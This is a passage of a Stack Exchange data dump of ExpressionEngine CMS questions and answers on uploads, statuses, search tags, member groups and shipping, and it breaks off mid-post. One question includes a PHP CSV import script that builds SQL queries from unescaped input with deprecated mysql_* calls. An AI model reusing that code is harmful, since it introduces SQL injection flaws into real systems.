  <row Id="32741" PostTypeId="2" ParentId="32738" CreationDate="2015-08-20T13:08:34.767" Score="0" Body="&lt;p&gt;Sorry, simple answers first...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following relocation, did you update all your settings paths (hint: use &lt;a href=&quot;https://devot-ee.com/add-ons/reelocate&quot; rel=&quot;nofollow&quot;&gt;ReeLocate&lt;/a&gt; for a quick win here)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this, did you re-sycronise all your upload directories? (Content &gt; Files &gt; File Upload Preferences &gt; Syncronise (Column) )????&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-08-20T13:08:34.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32742" PostTypeId="2" ParentId="32738" CreationDate="2015-08-20T14:09:10.473" Score="1" Body="&lt;p&gt;You also need to reset all your file upload paths and urls.&#xA;this setting also comes in handy.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['ce_image_cache_dir'] = '/images/made/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/configuration&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/configuration&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, as Blatant says, running the sync on the file upload prefs has been known to make everything better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what does this give you?&#xA;&#xA;" OwnerUserId="315" LastActivityDate="2015-08-20T14:09:10.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32743" PostTypeId="1" CreationDate="2015-08-20T14:33:08.257" Score="0" ViewCount="56" Body="&lt;p&gt;I have created channel 'History' and in Edit Group Assignments I have chosen 'None' as Status Group, though I am able to have option selecting Status during publish entries and am able to filter statuses with open and closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like what is the purpose of Status Group(None/Statuses) in channel Edit Preference??&lt;/p&gt;&#xA;" OwnerUserId="6558" LastActivityDate="2015-08-20T15:38:26.860" Title="Use of Status Groups EE2?" Tags="|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32744" PostTypeId="1" CreationDate="2015-08-20T14:48:40.040" Score="0" ViewCount="43" Body="&lt;p&gt;I came across below tags in EE during advance search..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do we define variables and what is the use of them??&#xA;What exactly is &quot;lang&quot; and where can I find in EE??&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{lang:search_by_keyword}    &#xA;{lang:exact_phrase_match}&#xA;{lang:search_in_titles}&#xA;{lang:channels}&#xA;{lang:any_category}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6558" LastEditorUserId="6482" LastEditDate="2015-08-20T18:53:35.597" LastActivityDate="2015-08-21T06:26:04.230" Title="Use of lang in search tag?" Tags="|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32745" PostTypeId="2" ParentId="32743" CreationDate="2015-08-20T15:38:26.860" Score="1" Body="&lt;p&gt;You can assign custom statuses by creating a status group. By default EE will always have Open and Closed statuses enabled even if you select none. The channel entries tag defaults to only show entries marked open by default and would not show anything if there was not a status assigned to the entry. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-08-20T15:38:26.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32747" PostTypeId="1" AcceptedAnswerId="32748" CreationDate="2015-08-20T16:29:23.423" Score="0" ViewCount="88" Body="&lt;p&gt;I'm trying to write a conditional so that the I can output an &lt;code&gt;active&lt;/code&gt; css class when the url segment is the same as the category name. Because the url segment includes dashes between each word and small case and the category name have uppercase characters without dashes the &lt;code&gt;==&lt;/code&gt; operator is not evaluating true. Any advise on how to best accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Current Code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if segment_4 == category_name}active{/if}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated Answer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found a solution using Low Seg2Cat plugin to get &lt;code&gt;category_id&lt;/code&gt; from segment url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if segment_4_category_id == category_id}active{/if}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2889" LastEditorUserId="2889" LastEditDate="2015-08-20T16:41:08.120" LastActivityDate="2015-08-20T17:07:23.227" Title="Compare url segment and category name with conditional" Tags="|categories|conditionals|url|segments|css|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32748" PostTypeId="2" ParentId="32747" CreationDate="2015-08-20T17:07:23.227" Score="2" Body="&lt;p&gt;Found a solution using Low Seg2Cat plugin to get category_id from segment url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if segment_4_category_id == category_id}active{/if}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2889" LastActivityDate="2015-08-20T17:07:23.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32749" PostTypeId="2" ParentId="32705" CreationDate="2015-08-20T17:07:59.393" Score="0" Body="&lt;p&gt;The short answer is you won't be able to. ExpressionEngine is built &lt;strong&gt;in&lt;/strong&gt; CodeIgnitor, not on top of so to speak. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you have access total the CI Libs, helpers and modules, expressionengine impliments a complete templating solution which is designed to remove the need to understand MVC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do, (advanced extension topics herein!) Is write MVC within modules and plug-ins, to a fashion. You can also extend EE itself, if you spy into the EE system directory you'll see MVC starting to com through. You'll be able to load these MVC components using the EE loader too. One example is I like to replace the EE Mail class with my own implimentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for the completely off the hook, gone too far method. Take a look at the index.php in the root of the site, at the bottom you'll see run_ee() function call. This is what starts up the whole EE parsing system. in the system folder you'll see a similar index.php with a call to fire up the admin pages. In theory, you could keep the EE system and admin panel but impliment your own custom front end system, you could base this off CI MVC and all that.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-08-20T17:07:59.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32750" PostTypeId="2" ParentId="32655" CreationDate="2015-08-20T17:29:32.030" Score="1" Body="&lt;p&gt;By its very nature, no. You're using JSON data dynamically, i.e. you're loading it when the page is viewed, its not stored at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search works by querying the DB tables (or rather the index but I won't get too deep here), this works becasue all the data is there in one place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One suggestion (short of pulling in all JSON data and searching that) is to cache your JSON calls inside a Channel. Something like this: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set up a Channel with a text field and a text area field. &lt;/li&gt;&#xA;&lt;li&gt;When you call a piece of JSON data, save the URL to the textfield and the result to the textarea&lt;/li&gt;&#xA;&lt;li&gt;When you search, let the text area be searchable, your search results will now include entries in that channel that might have (i.e. last time they where called) the keyword in them. &lt;/li&gt;&#xA;&lt;li&gt;When displaying the search results, call the JSON URL, double check the keyword is still in there and if it is show your result, if not step over it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It's just a thought, of course you have the issue that you can only get results from the last call of the JSON url, there's no guarantee the dynamic content will still contain the word. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll also need to consider the title/url_title of your caching channel, so that you overwrite existing entries for the same URL. one option would be to alphanumeric the url and use that as a title code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also get really clever, set up a template that polls all the JSON URL's you are using in a loop, and updates your channel entries accordingly. Set a cron job up to hit that template once/twice a day and get a nice little refresh system going on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a brain dump for you, who know it might give you a good idea of how to proceed!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-08-20T17:29:32.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32751" PostTypeId="2" ParentId="32636" CreationDate="2015-08-20T17:35:04.247" Score="0" Body="&lt;p&gt;If you don' mind the pages being 'active' in the system, but want to get rid of them from the crawlers ect, perhaps a .htaccess solution will suit? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking of a sort of rewrite rule, something like this that will pick up bad formatted URL's and direct to the 404 page. as long as your 404 page sends the right status header crawlers wont index them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^category/C([0-9]+)? /404 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thats an example, but you'll need to experiment, and of course direct them to wherever your 404 page is.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-08-20T17:35:04.247" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32755" PostTypeId="2" ParentId="32744" CreationDate="2015-08-21T06:26:04.230" Score="1" Body="&lt;p&gt;These tags are used in the EE search module. You can find &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/search/results.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; how to use them.&lt;/p&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-08-21T06:26:04.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32757" PostTypeId="2" ParentId="2132" CreationDate="2015-08-21T07:54:08.057" Score="1" Body="&lt;p&gt;Have you considered checking your &lt;em&gt;Global Preferences&lt;/em&gt; under &lt;em&gt;Channel Administration&lt;/em&gt;? &quot;Cache Dynamic Channel Queries?&quot; should be set to &lt;strong&gt;No&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6587" LastActivityDate="2015-08-21T07:54:08.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32758" PostTypeId="2" ParentId="32726" CreationDate="2015-08-21T09:02:00.083" Score="0" Body="&lt;p&gt;If you're using GET variables (ie. not encoding the query), then there's currently no way to ignore the search params; they will always be applied. If you must ignore them, use encoded queries and omit the &lt;code&gt;query=&quot;&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a sidenote: use &lt;code&gt;{absolute_results}&lt;/code&gt; when paginating results to get the correct result count.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-08-21T09:02:00.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32761" PostTypeId="1" CreationDate="2015-08-21T13:00:30.507" Score="0" ViewCount="34" Body="&lt;p&gt;I run sports leagues, and want to have an interface where my photographers can upload images for a particular game in our system.  I've added some custom fields so that the photos can be tagged with the particular sport, the game ID in the database, and the team IDs of the two teams playing -- but they don't know any of this information, and the only way I'm able to do it is going to change all of the default values first (otherwise, clicking and typing all that data in is a big pain).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What obstacles would I hit if I try to create a form outside of EE that would submit to the same handler, and pass that information along in the form post?   I just want an interface where I can have my photographer click a game, and then drag/drop their photos, hit upload, and that's it.  On the back-end, I'd pass along the sport/game ID/team IDs to fill in the custom data.&lt;/p&gt;&#xA;" OwnerUserId="6590" LastActivityDate="2015-08-21T13:11:23.777" Title="Submitting data to Channel Images from outside EE" Tags="|devdemon|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32762" PostTypeId="2" ParentId="32761" CreationDate="2015-08-21T13:11:23.777" Score="1" Body="&lt;p&gt;I'd start by looking at the Channel Form.&#xA;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is designed for creating front end forms to input/edit channel entries without needing CP access.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-08-21T13:11:23.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32763" PostTypeId="1" AcceptedAnswerId="32764" CreationDate="2015-08-21T13:51:42.633" Score="0" ViewCount="45" Body="&lt;p&gt;Is it possible to move the Member group on editing of the User profile? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've set it up so that members in Group A see a profile where they fill in some custom fields (required) and on submission should be moved to Group B - can it be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also is it possible that on this action occurring a mail be despatched to the site Admin to notify them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know of the best way to do this?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2015-08-21T14:31:04.907" Title="User - move group on Edit?" Tags="|members|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32764" PostTypeId="2" ParentId="32763" CreationDate="2015-08-21T13:55:29.110" Score="2" Body="&lt;p&gt;Ermm...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/software/expressionengine/user/docs/edit/#f_group_id&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/software/expressionengine/user/docs/edit/#f_group_id&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just make a hidden input for &lt;code&gt;group_id&lt;/code&gt; on the form, and set it to Group B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for dispatching an email, write up a quick extension that is triggered by this hook:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/software/expressionengine/user/docs/extension_hooks/#user_edit_end&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/software/expressionengine/user/docs/extension_hooks/#user_edit_end&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And just use the email class:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/email.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/usage/email.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to fire off an email. Boom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, MX Notify only has a trigger for Solspace User when a person is registered, not on profile edit. I would still go for writing a quick extension, it would take me less than 30 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/extensions.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-08-21T14:31:04.907" LastActivityDate="2015-08-21T14:31:04.907" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32765" PostTypeId="1" CreationDate="2015-08-21T15:32:12.940" Score="0" ViewCount="71" Body="&lt;p&gt;I'm using the USPS Shipping plugin to calculate shipping in my store. We use USPS Flat Rate Boxes to ship and most products fit in those boxes. In order to pull the correct shipping rates during checkout I have to set the container to &quot;Flat Rate Box&quot; in the shipping extension settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works great, except we have couple products that do not fit in a flat rate box and need special packaging. When I try to add one of these products to the cart I get an error stating:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Store (Shipping): The entered length must be less than or equal to 11.00000 inches.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is it possible to use the USPS Shipping extension but set a custom shipping option for the individual products that need a custom option?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have been unable to find a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3630" LastActivityDate="2016-05-27T23:05:26.820" Title="Expresso Store, USPS shipping options for individual products?" Tags="|expresso-store|expresso|extension|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32768" PostTypeId="1" AcceptedAnswerId="32896" CreationDate="2015-08-21T17:27:08.217" Score="2" ViewCount="179" Body="&lt;p&gt;I have an assets field called &quot;member_thumbnail&quot; on my &quot;members&quot; channel (created by zoo visitor). When I make a channel:form edit form or the equivalent edit form from zoo visitor, I am able to successfully upload files using the native full assets field ({exp:assets_field_name}) but not with the simple file input method outlined at the docs here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.pixelandtonic.com/assets/templating/channel_form.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.pixelandtonic.com/assets/templating/channel_form.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a workaround here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/7437/simple-html-file-field-uploads-with-assets-and-safecracker&quot;&gt;Simple HTML file field uploads with Assets and Safecracker&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The workaround is to add a hidden input with NULL value for the field name you want to affect. Unfortunately, when you submit the form without changing the photo this way, the photo is cleared, naturally. So this workaround causes too many problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use the simple method to avoid showing visitors all the uploaded files in the directory they are uploading to. Otherwise I would be happy to use the full assets field.&lt;/p&gt;&#xA;" OwnerUserId="6582" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2015-09-02T16:27:01.417" Title="Assets: Cannot upload file using &quot;simple file input&quot; method" Tags="|assets|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32769" PostTypeId="1" CreationDate="2015-08-21T17:59:38.797" Score="0" ViewCount="72" Body="&lt;p&gt;I am trying to assist a friend in importing their legacy data into the new DevDemon Subscriptions add-on. I have analyzed the database tables and data and feel it should be populating properly at this point. The database tables are all populated, but the module interface is not displaying the entries in EE CP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the script, all be it rough and archaic, that we are testing with. Is there something obvious that I am missing in this? Is there a process trigger that needs to be run against them?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;form&quot;&amp;gt;&#xA;            &amp;lt;?php&#xA;                include &quot;connection.php&quot;; //Connect to Database&#xA;&#xA;                //Upload File&#xA;                if (isset($_POST['submit'])) {&#xA;                    if (is_uploaded_file($_FILES['filename']['tmp_name'])) {&#xA;                        echo &quot;&amp;lt;h1&amp;gt;&quot; . &quot;File &quot;. $_FILES['filename']['name'] .&quot; uploaded successfully.&quot; . &quot;&amp;lt;/h1&amp;gt;&quot;;&#xA;                    }&#xA;&#xA;                    $csvRow = 1;&#xA;&#xA;                    //Import uploaded file to Database&#xA;                    $csvHandle = fopen($_FILES['filename']['tmp_name'], &quot;r&quot;);&#xA;&#xA;                    $csvKey = 0; // Set the parent array key to 0&#xA;&#xA;                    while (($csvData = fgetcsv($csvHandle)) !== FALSE) {&#xA;&#xA;                        if($csvRow == 1){&#xA;                            $csvRow++;&#xA;                            continue;&#xA;                        }&#xA;&#xA;                        $c = count($csvData); // Count the total keys in each row&#xA;&#xA;                        // 33-40 are dates that need to be converted&#xA;                        $dateArray = array(33, 34, 35, 36, 37, 38, 39, 40);&#xA;&#xA;                        // ## Flag variable ##########&#xA;                        $empty = true;&#xA;&#xA;                        for ($x = 0; $x &amp;lt; $c; $x++) { // Loop through the &quot;columns&quot;&#xA;&#xA;                            // ## Test each value ##########&#xA;                            $empty = $empty &amp;amp;&amp;amp; (empty($csvData[$x]));&#xA;&#xA;                            if(in_array($x, $dateArray)){&#xA;                                $date = date_create($csvData[$x]);&#xA;                                $FormattedDate = date_format($date,&quot;Y-m-d H:i:s&quot;);&#xA;                                $csvData[$x] = $FormattedDate;&#xA;                            }&#xA;                        }&#xA;&#xA;&#xA;                        // Build the variables from the CSV&#xA;                        $csv_id = $csvData[0];&#xA;                        $csv_site_id = $csvData[1];&#xA;                        $csv_hash = $csvData[2];&#xA;                        $csv_member_id = $csvData[3];&#xA;                        $csv_card_id = $csvData[4];&#xA;                        $csv_coupon_id = $csvData[5];&#xA;                        $csv_plan_id = $csvData[6];&#xA;                        $csv_voucher_id = $csvData[7];&#xA;                        $csv_entry_id = $csvData[8];&#xA;                        $csv_recurring_interval = $csvData[9];&#xA;                        $csv_recurring_interval_count = $csvData[10];&#xA;                        $csv_amount = $csvData[11];&#xA;                        $csv_total_amount = $csvData[12];&#xA;                        $csv_total_cycles = $csvData[13];&#xA;                        $csv_status = $csvData[14];&#xA;                        $csv_renew = $csvData[15];&#xA;                        $csv_trial_starts_at = $csvData[16];&#xA;                        $csv_trial_ends_at = $csvData[17];&#xA;                        $csv_retry_count = $csvData[18];&#xA;                        $csv_retry_date = $csvData[19];&#xA;                        $csv_shipping_name = $csvData[20];&#xA;                        $csv_shipping_address1 = $csvData[21];&#xA;                        $csv_shipping_address2 = $csvData[22];&#xA;                        $csv_shipping_address3 = $csvData[23];&#xA;                        $csv_shipping_city = $csvData[24];&#xA;                        $csv_shipping_state = $csvData[25];&#xA;                        $csv_shipping_zip = $csvData[26];&#xA;                        $csv_shipping_country = $csvData[27];&#xA;                        $csv_notes = $csvData[28];&#xA;                        $csv_test_mode = $csvData[29];&#xA;                        $csv_created_by = $csvData[30];&#xA;                        $csv_updated_by = $csvData[31];&#xA;                        $csv_canceled_by = $csvData[32];&#xA;                        $csv_next_billing_at = $csvData[33];&#xA;                        $csv_last_billed_at = $csvData[34];&#xA;                        $csv_ended_at = $csvData[35];&#xA;                        $csv_canceled_at = $csvData[36];&#xA;                        $csv_expires_at = $csvData[37];&#xA;                        $csv_created_at = $csvData[38];&#xA;                        $csv_updated_at = $csvData[39];&#xA;                        $csv_deleted_at = $csvData[40];&#xA;&#xA;                        // Create the Card&#xA;                        $sql_subs_cards = &quot;&quot; . &quot;INSERT INTO exp_subs_cards(id,site_id,hash,member_id,cvc,name_on_card,brand,country,last4,exp_month,exp_year,billing_name,billing_address1,billing_address2,billing_address3,billing_city,billing_state,billing_zip,billing_country,gateway,gateway_card_id,gateway_customer_id,test_mode,created_by,updated_by,created_at,updated_at) VALUES('NULL','$csv_site_id','$csv_hash','$csv_member_id','000','IMPORTED MEMBER','IMPORT','NULL','0000','12','2099','IMPORTED MEMBER','IMPORTED MEMBER','NULL','NULL','IMPORTED','IMPORTED','IMPORT','NA','NULL','NULL','NULL','NULL','IMPORT SCRIPT','IMPORT SCRIPT','$csv_created_at','$csv_updated_at')&quot;;&#xA;                        mysql_query($sql_subs_cards) or die(mysql_error());&#xA;&#xA;                        // Get the Card ID&#xA;                        $sql_card_query = mysql_query(&quot;SELECT id FROM exp_subs_cards WHERE member_id = '$csv_member_id'&quot;);&#xA;                        $sql_card_query_row = mysql_fetch_row($sql_card_query);&#xA;                        $new_card_id =  $sql_card_query_row[0];&#xA;&#xA;                        // Create the Subscription&#xA;                        $sql_subs = &quot;&quot; . &quot;INSERT INTO exp_subs(id,site_id,hash,member_id,card_id,coupon_id,plan_id,voucher_id,entry_id,recurring_interval,recurring_interval_count,amount,total_amount,total_cycles,status,renew,trial_starts_at,trial_ends_at,retry_count,retry_date,shipping_name,shipping_address1,shipping_address2,shipping_address3,shipping_city,shipping_state,shipping_zip,shipping_country,notes,test_mode,created_by,updated_by,canceled_by,next_billing_at,last_billed_at,ended_at,canceled_at,expires_at,created_at,updated_at,deleted_at) VALUES('NULL','$csv_site_id','$csv_hash','$csv_member_id','$new_card_id','$csv_coupon_id','$csv_plan_id','$csv_voucher_id','$csv_entry_id','$csv_recurring_interval','$csv_recurring_interval_count','$csv_amount','$csv_total_amount','$csv_total_cycles','$csv_status','$csv_renew','$csv_trial_starts_at','$csv_trial_ends_at','$csv_retry_count','$csv_retry_date','$csv_shipping_name','$csv_shipping_address1','$csv_shipping_address2','$csv_shipping_address3','$csv_shipping_city','$csv_shipping_state','$csv_shipping_zip','$csv_shipping_country','$csv_notes','$csv_test_mode','$csv_created_by','$csv_updated_by','$csv_canceled_by','$csv_next_billing_at','$csv_last_billed_at','$csv_ended_at','$csv_canceled_at','$csv_expires_at','$csv_created_at','$csv_updated_at','$csv_deleted_at')&quot;;&#xA;                        mysql_query($sql_subs) or die(mysql_error());&#xA;&#xA;                        // Get the Subscription ID&#xA;                        $sql_subs_query = mysql_query(&quot;SELECT id FROM exp_subs WHERE member_id = '$csv_member_id' AND card_id = '$new_card_id'&quot;);&#xA;                        $sql_subs_query_row = mysql_fetch_row($sql_subs_query);&#xA;                        $new_subs_id =  $sql_subs_query_row[0];&#xA;&#xA;                        // Create the Invoice&#xA;                        $sql_subs_invoices = &quot;&quot; . &quot;INSERT INTO exp_subs_invoices(id,site_id,member_id,card_id,coupon_id,subscription_id,voucher_id,hash,currency,coupon_discount,tax,subtotal,total,test_mode,paid_at,created_by,updated_by,created_at,updated_at) VALUES('NULL','$csv_site_id','$csv_member_id','$new_card_id','$csv_coupon_id','$new_subs_id','$csv_voucher_id','$csv_hash','NULL','NULL','NULL','$csv_amount','$csv_total_amount','$csv_test_mode','NULL','$csv_created_by','$csv_updated_by','$csv_created_at','$csv_updated_at')&quot;;&#xA;                        mysql_query($sql_subs_invoices) or die(mysql_error());&#xA;&#xA;                        // Get the Invoice ID&#xA;                        $sql_invoice_query = mysql_query(&quot;SELECT id FROM exp_subs_invoices WHERE member_id = '$csv_member_id' AND card_id = '$new_card_id' AND subscription_id = '$new_subs_id'&quot;);&#xA;                        $sql_invoice_query_row = mysql_fetch_row($sql_invoice_query);&#xA;                        $new_invoice_id =  $sql_invoice_query_row[0];&#xA;&#xA;                        // Create the Charges&#xA;                        $sql_subs_charges = &quot;&quot; . &quot;INSERT INTO exp_subs_charges(id,site_id,hash,member_id,card_id,invoice_id,subscription_id,voucher_id,mrr,gateway,gateway_id,gateway_data,amount,fees,paid,refunded,currency,cc_brand,cc_last4,description,status,failure_message,test_mode,created_by,updated_by,created_at,updated_at) VALUES('NULL','$csv_site_id','$csv_hash','$csv_member_id','$new_card_id','$new_invoice_id','$new_subs_id','$csv_voucher_id','NULL','NULL','NULL','NULL','$csv_amount','NULL','1','0','NULL','IMPORT','0000','IMPORTED MEMBER','success','NULL','$csv_test_mode','$csv_created_by','$csv_updated_by','$csv_created_at','$csv_updated_at')&quot;;&#xA;                        mysql_query($sql_subs_charges) or die(mysql_error());&#xA;&#xA;                        // Get the Charges ID&#xA;                        $sql_charges_query = mysql_query(&quot;SELECT id FROM exp_subs_charges WHERE member_id = '$csv_member_id' AND card_id = '$new_card_id' AND subscription_id = '$new_subs_id'&quot;);&#xA;                        $sql_charges_query_row = mysql_fetch_row($sql_charges_query);&#xA;                        $new_charges_id =  $sql_charges_query_row[0];&#xA;&#xA;                        // Create the Invoice Lines&#xA;                        $sql_subs_invoices_lines = &quot;&quot; . &quot;INSERT INTO exp_subs_invoices_lines(id,invoice_id,type,description,quantity,amount,total,period_start,period_end,created_by,updated_by,created_at,updated_at) VALUES('NULL','$new_invoice_id','subscription','Imported Subscription Membership','1','$csv_amount','$csv_total_amount','NULL','NULL','$csv_created_by','$csv_updated_by','$csv_created_at','$csv_updated_at')&quot;;&#xA;                        mysql_query($sql_subs_invoices_lines) or die(mysql_error());&#xA;&#xA;                        // Create a LOG&#xA;                        $sql_subs_logs = &quot;&quot; . &quot;INSERT INTO exp_subs_logs(id,site_id,member_id,card_id,charge_id,invoice_id,subscription_id,voucher_id,coupon_id,plan_id,action,email_subject,email_to,test_mode,log_data,created_at) VALUES('NULL','$csv_site_id','$csv_member_id','$new_card_id','$new_charges_id','$new_invoice_id','$new_subs_id','$csv_voucher_id','$csv_coupon_id','$csv_plan_id','IMPORTED','NULL','NULL','$csv_test_mode','NULL','$csv_created_at')&quot;;&#xA;                        mysql_query($sql_subs_logs) or die(mysql_error());&#xA;&#xA;                        // ## Stop loop if all empty ##########&#xA;                        if ($empty) {&#xA;                            break;&#xA;                        }&#xA;                        $csvKey++;&#xA;                    }&#xA;&#xA;                    fclose($csvHandle);&#xA;&#xA;                    print &quot;&amp;lt;br /&amp;gt;Import done&quot;;&#xA;                }else {&#xA;                    print &quot;Upload new csv by browsing to file and clicking on Upload&amp;lt;br /&amp;gt;\n&quot;;&#xA;                    print &quot;&amp;lt;form enctype='multipart/form-data' action='upload.php' method='post'&amp;gt;&quot;;&#xA;                    print &quot;File name to import:&amp;lt;br /&amp;gt;\n&quot;;&#xA;                    print &quot;&amp;lt;input size='50' type='file' name='filename'&amp;gt;&amp;lt;br /&amp;gt;\n&quot;;&#xA;                    print &quot;&amp;lt;input type='submit' name='submit' value='Upload'&amp;gt;&amp;lt;/form&amp;gt;&quot;;&#xA;                }&#xA;            ?&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CSV file contains the following data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id  site_id hash    